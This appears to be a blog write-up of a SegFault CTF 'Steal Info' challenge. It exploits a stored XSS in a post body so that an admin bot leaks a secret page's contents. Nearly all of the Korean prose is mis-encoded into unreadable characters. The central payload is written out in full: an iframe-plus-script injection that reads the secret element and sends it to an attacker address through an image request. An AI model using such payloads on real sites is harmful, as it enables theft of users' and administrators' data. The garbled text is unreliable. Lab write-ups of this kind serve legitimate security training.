[SegFault] (ClientScript)
Steal Info
XSS๋ฅผ ์ด์ฉํด ์ค์ ์ ๋ณด๋ฅผ ํ์ทจํด๋ผ!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ ๋๊ฐ์ ํ์ด์ง์์ ํด๋น ์ ๋ณด์ document ๊ฐ์ ํ์ธํ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ค์ ์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ ๋์ผํ ์์น์ ์๋ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์ํ๋ ์ ๋ณด๋ฅผ ์ฐพ๊ณ ํด๋น ๊ฐ์ ๊ฐ์ ธ์ค๊ธฐ ์ํ ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(ReuqestBin)๋ก ์ ๋ณด๊ฐ ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์์ XSS ๊ฐ๋ฅํ Point๊ฐ ์๋์ง ํ์ธํด๋ณธ๋ค.
XSS Point
์์ ๊ฐ์ด ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ < ' " > ๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋์ง ํ์ธํ๋ค.
์๋ต(Response)์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์์ ์ ๋ ฅ๊ฐ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ์๋ค.
์ค์ ์ ๋ณด
'์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ ๋๊ฐ์ ํ์ด์ง'์ ์ ์ ํด๋ณธ๋ค.
์์ ํ์ด์ง์์ ๋ด ์ ๋ณด๋ฅผ ๋ณด๋ฉด This is a Very Secret Info. ๋ผ๊ณ ์ฐ์ฌ ์๋ ๊ณณ์ ํ์ธํ ์ ์๊ณ , ์ด์ ํด๋น ๋ถ๋ถ์ document๋ฅผ ํ์ธํด๋ณธ๋ค.
์์ ๊ฐ์ ๊ตฌ์กฐ์์ ํด๋น ๋ถ๋ถ์ ๋ถ๋ฌ์ค๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
์ค์ ์ค์์ ๋ณด๊ฐ ์๋ ํ์ด์ง์ card-text๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Payload)
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe> <script> var targetTag = document.getElementById('targetFrame'); targetTag.onload = function(){ var DOMData = targetTag.contentDocument; var secretData = DOMData.getElementsByClassName('card-text')[1].innerHTML; var i = new Image(); i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์?secretData="+secretData; } </script>
iframe์ ์ด์ฉํ์ฌ ํด๋น ํ์ด์ง์ ์ ๊ทผํ๊ณ ํด๋น ํ์ด์ง์ ์ค์์ ๋ณด ๋ถ๋ถ์ document๋ฅผ ๊ฐ์ ธ์ค๋๋ก ํ๋ค.
์คํฌ๋ฆฝํธ ์ฝ์
XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ํด๋น ํ์ด๋ก๋๋ฅผ ๊ธ์ ๋ด์ฉ์ ์ฝ์ ํ๋ค.
ํด๋น ๊ธ์ ์ฝ๊ธฐ์ํด ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๊ถํ์ด ์๋ค๋ ์๋ฆผ์ฐฝ์ด ๋ฌ๋ค. ํ์ง๋ง ์ด๊ฒ์ ๊ด๋ฆฌ์๊ฐ ์ ๊ทผํ๋ค๋ฉด ์์ ์คํฌ๋ฆฝํธ์ ์ํด ์ํ๋ ์ ๋ณด๋ฅผ ๊ณต๊ฒฉ์ ์ฃผ์๋ก ๋ณด๋ด์ค ๊ฒ์ด๋ค.
์์ ๊ธ์ ์ ๊ทผํ๋ URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ๊ด๋ฆฌ์์ ์ค์ ์ ๋ณด๊ฐ ๊ณต๊ฒฉ์์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ์ค์ ์ ๋ณด ๋ถ๋ถ์ ๋ฐ์์ค๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ํ๋ flag ๊ฐ์ด ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๊ฒ์๊ธ์ ๋ด์ฉ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๊ฐ๋ฅํ XSS ์ทจ์ฝ์ ์ ํ์ฉํ์๋ค.
๊ด๋ฆฌ์๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ํ์ด์ง๋ก ์ ์ํ๋๋ก ์ ๋ํ์ฌ ๊ด๋ฆฌ์๋ง ์ ์ํ ์ ์๋ ํ์ด์ง์ ์ ๋ณด๋ฅผ ๋นผ์ค๋ ๊ฒ์ ๋ชฉํ๋ก ํ์๋๋ฐ, ๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ํด๋น ํ์ด์ง์ ๋๊ฐ์ ํ์ด์ง ์ ๋ณด๋ฅผ ์๊ณ ์๊ธฐ ๋๋ฌธ์ ์ฝ๊ฒ ์ ๋ณด์ document๋ฅผ ์ฐพ์ ์ ์์๋ค.
์์ ๊ฐ์ด XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ฉด iframe์ ์ด์ฉํ์ฌ ๋ค๋ฅธ ํ์ด์ง๋ก์ ์ ์์ ์ ๋ํ ์ ์๊ธฐ ๋๋ฌธ์, HTML Entity๋ฅผ ์ด์ฉํ์ฌ ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ํน์๋ฌธ์๋ค์ ๋ณํํด์ฃผ๋๋ก ํด์ผํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์